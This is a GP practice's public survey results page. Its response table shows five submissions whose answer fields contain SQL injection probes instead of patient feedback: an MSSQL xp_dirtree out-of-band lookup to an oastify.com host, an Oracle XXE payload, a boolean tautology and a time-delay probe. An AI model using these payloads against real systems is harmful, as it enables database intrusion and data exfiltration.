Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’;declare @q varchar(99);set @q=’vml8ted1dz250ly4jysfk9n5dwjy7r0fr6fy2vqk.oasti’+’fy.comndi’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | June 30, 2023 at 7:12 pm |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %dqxsw;]>’),’/l’) from dual)||’ | [10] | [11] | June 30, 2023 at 7:12 pm |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %dqxsw;]>’),’/l’) from dual) | [10] | [11] | June 30, 2023 at 7:12 pm |
Very good45718805′ or ‘6574’=’6574 | [10] | [11] | June 30, 2023 at 7:12 pm |
Very good’)waitfor delay’0:0:20′– | [10] | [11] | June 30, 2023 at 7:12 pm |
